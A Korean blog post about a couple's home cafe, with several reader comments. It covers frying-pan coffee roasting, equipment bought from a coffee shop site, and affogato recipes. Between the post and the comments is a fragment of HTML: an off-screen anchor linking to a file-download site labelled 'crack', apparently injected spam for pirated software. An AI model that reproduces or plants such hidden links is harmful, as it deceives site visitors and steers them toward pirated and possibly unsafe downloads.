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서옥명    까뮤와 함께 만들어간 아내와 나의 까페 2010-05-07


작년까지 커피는 해롭다는 잘못된 오해로  사랑하는 아내의 즐거워 야할 아침커피타임을 무참히 짓밟고 살아온지
어언 십 수년이 지났군요...
그러다 작년에 우연히 알게된 커피의 이로움과 커피가 주는 묘한 매력에 완전히 뿅~~~갔습니다.
물론 처음에 인스턴드 수푸리몬가?뭔가에 말이죠...이제는 다 때려치우고 멋지게 까페나 하면서 늙을까 생각도 합니다...
아니 그러고 싶네요.커피를 만들고 향을 맡으면 정말 기분이 즐겁고 행복한 느낌입니다.뭐랄까...연인을 만나는 느낌이랄까...

요즘 이넘들 밥주는것도 잊고 캬뮤에 들어와 정보얻고 또 이렇게 글쓰는게 즐겁습니다...당연히 제가 뽑은 아메리카노 한잔과 말이죠^^* 예전엔 이탕어들 키우는것과 사진,영상편집이 제 취미의 전부 였는데....(미안타~모바들아~~~)



급 커피가 좋아 졌던 이유중 하나가 다이어트를 하면서 아침에 사과와 고구마를 먹는데 이커피가 사과와 정말 잘 어울리더군요...그래서 쭉 마시고 메스컴의 커피에 대한 여러 좋은 성분들(혹시 글러벌 커피기업들과 정치적 세력의 음모^^;) 이야기도 들리고...그렇게  전 현재 83에서 65kg 유지...아내는 49kg유지하고 있습니다.
커피...알면 알수록 묘하더군요...
첨엔 다 같은 맛이더니...이제는 내마음과 몸이 알아서 커피를 구별합니다.
사람도 개성이 다 다르듯이 커피도 다 다른 매력이 있더라구요...정말 놀라웠습니다.



아라비카종은 아라비카종데로...로부스타종은 또 그 나름데로...아프리카커피는 와인과 과일향을...남미커피는 또 그나름데로...물론 가격차이가 몇배나 하는것들도 있지만 나와 아내에게 모두 다 소중한 커피향과 마음의 여유를 주었습니다...

그렇게 얼마전 겁없이 커피를 볶았습니다.커피를 볶는 나자신이 괜히 멋있어보이더군요...
그냥 후라이판에 내 멋대로 볶았습니다...연기 작렬하더군요...체프 휘날렸습니다...아내왈...이렇게 하는거 맞나?
나는 말했습니다. 맞....다....(내심 무지 무지...걱정 되더군요...)







그런데...이게 왠일...???
정말 제가 볶은 커피의 그맛이.....맛있더군요...진짜 깜짝 놀랐습니다...실로 기적같은 일이었습니다...
24시간정도의 숙성도 몰랐고 라이트,시나몬,미디엄,시티,풀시티,프렌치,이탈리안 로스팅....이런 배전도도 몰랐습니다.
그냥 20여분..색깔만 비슷하게(지금 생각하니 풀시티로스트 정도 되네요^^;) 
열심히 저어서 고르게 색상만 나오게 중불에 볶은게 다인데...커피는 나에게 또 다른 세상을 열어 주었습니다.

아내와 전 느꼈습니다...
이게 진짜 신선한 커피구나....
두번째 로스팅은  완인맛과 과일향이 난다는 예가체프를 수집한 정보데로 후라이판 예열하고
수분날리고 250도정도 불에 1차크렉킹...2차크렉킹이 끈나갈 무렵 불내리고
여열로 살짝 스스로 로스팅되게 놔두다가 바로 급냉시키고...
체프날리고 다음날 아침 12시간  정도숙성후 먹었습니다.










아...정말 기가 찬 맛이었습니다.입안에서 꽃향기 같은게 막나더군요...진짜 희안했습니다...

1년전부터 단골을 맺어온 까페가 있는데요...몇일전 가서 늘 먹던 아메리카노를 먹었습니다...
진짜 맛없었습니다...사장님께는 미안하지만 말이죠...
보름전 집에다 까페를 만들기로 작심하고 정보를 수집하고 카뮤를 알게 되었습니다...생두도 알았고...하여튼
좋은 정보와 좋은 재료들이 많았습니다...
이 사진에 보이는것들 대부분이 캬뮤에서 구입한 것들입니다...
퀄리티 대만족합니다...
근데 사은품으로 주시는 가루 커피는 에쏘용도...드립용도 아닌 어디에 쓰는 물건인고???
담에 혹시 주실라거든 볶은 원두로 주시면 감사....록키군이 징징 대거든요...일거리 달라고^^*



까뮤에서 까다로운 미스 실비아 요년(?)구입하고 갈아주는 록키놈(?)들이고...
잡다한 소품들을 사다 날랐습니다...닥치는데로 말이죠....
스팀피쳐,온도계,빠르쉐설탕,설탕접시,각종 시럽들,밀폐용기들...보르드미올리 밀폐용기도 그래서 알았고
안캅이라는 이탈리아 멋지구리구리한 딸기 도자기 시리즈도 그렇게 알게 되었습니다.
전 참 까뮤에 돈 많이 썼습니다...

그렇게 그렇게 로스팅도 여러번 해보고,생두도 공부해보고...
나름 감도 잡고...벨벳밀크도 만들어 어설픈 하트도 그려보고...초코시럽 뿌리고 그림도 그려보았습니다.
에소프레소와 빠르쉐설탕의 기막힌 악마의유혹과
같은 맛도 느껴보고...요즘 아내는 아침을 라떼로...저녁을 쌉싸름하고 달콤한 아포가또로 합니다...
저도 아포가또에 미쳐서 정말 중독되었습니다...넘~~~맛있어~~~



예쁜 안캅 딸기 도피오 에쏘프레소잔에 담고 까뮤에서 일러준데로 x데 위즐바닐라 피칸에
아몬드 슬라이드 토핑하고 진하게 예가체프 에쏘30ml를 슬슬 뿌려 가며 먹습니다.

이시간이 하루 중 제일 기다려지는 시간이되었습니다.
이때에 아포가또 아래에는 땅콩을 듬뿍놓은 뒤 초코시럽을 뿌리고 아이스크림으로 덮으면
나중에 먹는 땅콩과 초코릿의 맛이 끝내 줍니다...



아포까또 한잔이 아내의 저녁식사겸 마음의 행복이 됩니다...
아내는 참 즐겁게 ...맛나게 먹어줍니다...
슬쩍 내것과 자기것을 비교하면서 말이죠^^* 아내는 욕심쟁이~~~
그러다 내 아몬드 토핑을 슬쩍 가져가기도 하네요...



아내의 아포까또 그릇은 안캅 딸기 카푸치노잔 입니다...
하도 양좀 늘려 달래서 내것은 도피오잔...아내건 카푸치노잔....
양이 딱 두배네요....그래도 잘 먹어주는 아내가 사랑스럽군요~
행복...뭐 별건가요?이렇게 살면 행복이죠....









저요즘 아내와 커피와 함께...참! 까뮤와 더불어~이렇게 삽니다...
이제는 정말....커피가 사람의 인생에 주는 즐거움이...무엇인지 알것 같네요.....

참...록키놈의 버블현상건과 기타 여러가지로 귀찮게 해준게 있는듯도 한데 친절하게 잘해주셔서
이엔알과 원만한 해결 보았구요...특히 정성스런 댓글 달아주시는 그분...고맙네요....웹에서 제품 구매하고
이렇게 기분 좋아 보기는 처음입니다...자주..자주...이용토록 하겠습니다....






 
이렇게 우리집에 갖게된 나와 아내의 까페...
바로 뽑은 에소프레소한잔과 사랑하는 아내와 함께 찬조출연한
우리집애어(프론토사 모바,벤트랄리스식구들)들을 보고 있노라면 사는게 이런거구나...느끼게 됩니다...
앞으로도 저와 아내의 범상치 않은(?) 커피 라이프는 계속 될껍니다.쭉우우우우욱~~~~
그때마다 까뮤가 도와주소서....................
 

absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 >crack

  

미아짱 2010-05-08 오전 9:36:24   수정 l 삭제

진짜 범상치 않은 홈카페를 만드셨어요.... 우왕... 많은 분들이 부러워 하실듯해요
실비아와 딸기잔들도 늠 잘어울리고~ 조롱조롱 놓여있는 밀폐용기들... 예쁜게 넘 많아요~
근데 저 보라빛 나는 물고기는 처음봐요... 색깔이 맘에 드는데... 원래 색인가요? 아님 조명이?
오... 제가 보라빛 나는 뭐든 다 좋아해서...

십억노비 2010-05-08 오전 9:47:59   수정 l 삭제

오메.......제 눈은 완~~~전 휘둥그레~
저게 정말 일반 "집"이란 말인거죠 그러니까?
정말 너무너무 근사한 홈카페인걸요...?
그저께 커피관련 잡지책을 보면서 홈카페 관련 글이 있길래
아흥 나도 결혼하면 꼭 집에 홈카페를 만들테야. 했었는데...
너무 부러워요- 나의 사랑스런 남편될 분도 부디 커피를 좋아해야 할텐데....흠....;
너무 부럽다.....사진도 너무 예쁘구요..
남편분인지 부인분인지는 모르겠지만 아아 아마도 두분 다 센스가 흘러넘칠지도 모르겠군요..
인테리어도 참 예쁘고 선반도 너무 예쁩니다.

안그래도 결혼한단 말 한마디 없이 웨딩사진만 뚱 하고 올려놓은 채플린때문에
어제 심란한 밤을 보냈었는데 (응?) 이건.........불난집에 기름을...냅다.....

범상치 않은 커피 라이프보다
범상치 않은 커피 라이프를 즐기는 두분이 너무 보기 좋습니다 ^- ^

No Keats 2010-05-08 오전 10:12:11   수정 l 삭제

저녁 식사 겸 아이스크림... 전 배고파서 기절해버릴 거에요.
다이어트 열심히 할때도 밥 세 끼 다 챙겨먹어야했던 위큰녀라서요. ;ㅅ;

짱양 2010-05-08 오전 10:49:16   수정 l 삭제

아~ 멋진 홈카페네요.. ^^ 행복이 솔솔 묻어나옵니다.. 전 사실 지금 애아빠때문에 왕창 화난상태에서..
이 글을 보니 배가 솔솔 아프네요.. ㅎㅎ

forkey 2010-05-18 오후 12:58:07   수정 l 삭제

멋지시다~~!!
저도 커피를 제 생활 속으로 부를 때까지 참으로 긴 시간이 걸렸어요. 수십 년이나...
커피향이 너무 좋은데 위가 카페인에 예민해서 속쓰림, 위염으로까지 번지니 난감했어요.
그래도 커피메이커는 언제나 있었어요. 예쁜 걸로...
커피 내려서 집안에 향기가 진동하도록 하기~~용으로 말이죠.
그땐 신선한 커피가 뭔지도 모르고 누군가 여행가서 사왔다는 봉지를 1년이고 2년이고 묵히곤 했었으니
정말 향기만 내도록 한다는 목적에 아주 걸맞았다고 볼 수 있죠.
그것만으로도 좋았었어요.

우연히 드립 커피를 알게 되고, 커피관련 카페도 들락거리고, 이곳도 알게 되면서
작은 머신도 사게 되고,
이태리 여행 중에 한국과는 비교도 안 되는 가격에 스텐모카포트를 구입하면서
저의 커피생활이 풍요로워지기 시작한 겁니다.
아~~ 행복해.

저에게 커피는 마시는 것이 아니고,
볶고, 갈고, 내리는 과정 자체가 취미입니다.
자주 마시지 못하고, 또 속이 조금만 비어있어도 금방 예민한 반응이 오니까요...
슬퍼...
"커피해줄까?"라고 물을 때 우리 가족은 저에 대한 자비심이나 배려의 마음으로
"응~~!"하고 대답합니다.
제가 그 과정을 너무나 좋아하니까 .....

쭈리 2010-05-18 오후 1:42:25   수정 l 삭제

우어어어어어어어어어
결혼해야겠다...........

김한수 2010-05-18 오후 4:26:35   수정 l 삭제

진짜 멋지세요~~~




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